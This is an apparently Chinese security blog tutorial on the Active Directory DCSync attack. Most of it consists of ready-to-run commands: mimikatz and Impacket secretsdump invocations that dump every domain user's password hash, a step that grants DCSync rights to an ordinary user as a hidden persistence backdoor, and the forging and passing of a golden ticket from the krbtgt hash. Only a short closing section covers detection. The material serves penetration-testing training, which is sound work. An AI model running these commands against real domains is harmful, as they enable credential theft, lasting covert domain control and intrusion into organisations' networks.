什么是DCSync

什么是DCSync

在域环境中,域控制之间每十五分钟就会进行一次域数据同步。当域控制A需要从域控制器B获取数据时,会向其发送一个 GetNCChanges 请求,该请求包含了需要同步的数据,如果获取的数据较多,则会进行循环请求。

DCSync是mimikatz在2015年添加的一个功能,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。

在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。使用DCSync就可以远程通过域数据同步复制的方式模仿域控从真实的域控当中请求数据获得想要的用户hash。

利用条件

获得以下任一用户的权限:

  • Domain Admins组内的用户
  • Administrators组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

默认只有域控主机账号和域管理员能进行Dcsync,其机器账号拥有WriteACL的权限,可以给指定用户添加Dcsync来dump域哈希。

利用 DCSync 导出域内哈希

mimikatz

导出administrator用户的Hash

privilege::debug
lsadump::dcsync /domain:god.org /user:administrator

image.png

导出域内所有用户的hash

lsadump::dcsync /domain:god.org /all

image.png

Secretsdump.py

Secretsdump.py 是 Impacket 框架中的一个脚本,该脚本也可以通过 DCSync 技术导出域控制器上用户的哈希。该工具的原理是首先使用提供的用户登录凭据通过 smbexec 或者 wmiexec 远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的哈希,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的哈希。其最大的优点是支持从域外的计算机连接至域控制器。

导出administrator用户的Hash

proxychains python3 secretsdump.py god/administrator:Admin12345@192.168.3.21 -dc-ip 192.168.3.21 -just-dc-user administrator

image.png

获取所有域用户哈希, 包括机器用户

proxychains python3 secretsdump.py god/administrator:Admin12345@192.168.3.21

image.png

powershell

通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能

导出域内所有用户的hash:

Invoke-DCSync -DumpForest | ft -wrap -autosize

image.png

导出域内administrator帐户的hash:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

image.png

利用DCSync在域内维持权限

利用条件:

  • Domain Admins组内的用户
  • Enterprise Admins组内的用户

利用原理:

向域内的一个普通用户添加如下三条ACE(Access Control Entries):

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

添加ACE:

向mary用户添加以上三条ACE

Add-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity mary -Rights DCSync -Verbose

!

image.png

导出哈希:

通过secretsdump导出域管账号hash

proxychains python3 secretsdump.py 'god/mary:admin!@#45'@192.168.3.21 -dc-ip 192.168.3.21 -just-dc-user administrator

image.png

通过mimikatz导出所有账号hash

mimikatz.exe privilege::debug "lsadump::dcsync /domain:god.org /all /csv" exit

使用runas实现登录mary再使用DCSync

runas /noprofile /user:god\mary cmd

image.png

查询具有 DCSync 权限的用户

AdFind.exe -s subtree -b "DC=god,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

image.png

利用 DCSync 制作黄金票据

使用 Mimikatz 的 DCSync 功能导出域控制器中 krbtgt 账户的哈希:

lsadump::dcsync /domain:god.org /user:krbtgt

image.png

通过 krbtgt 账户的哈希生成黄金票据

kerberos::golden /user:administrator /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:Administrator.kiribi

image.png

当前访问域控资源,是被拒绝的

image.png

进行票据传递

kerberos::ptt Administrator.kiribi

image.png

再次访问域控资源

image.png

自动化检测DCSync后门的方法

具有高权限但不在高权限组的用户被称之为Shadow Admin,例如域用户mary,仅通过查询高权限组的成员无法发现域内的Shadow Admin

可使用ACLight工具枚举Active Directory中所有用户的ACL,标记出特权帐户。

本期作者李忻蔚:深信服安全服务认证专家(SCSE-S),产业教育中心资深讲师,曾任职于中国电子科技网络信息安全有限公司,担任威胁情报工程师、渗透测试工程师、安全讲师;多年来为政府部门进行安全培训,安全服务;多次参与国家级、省级攻防比武的出题和保障任务,擅长Web安全、渗透测试与内网渗透方向。

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值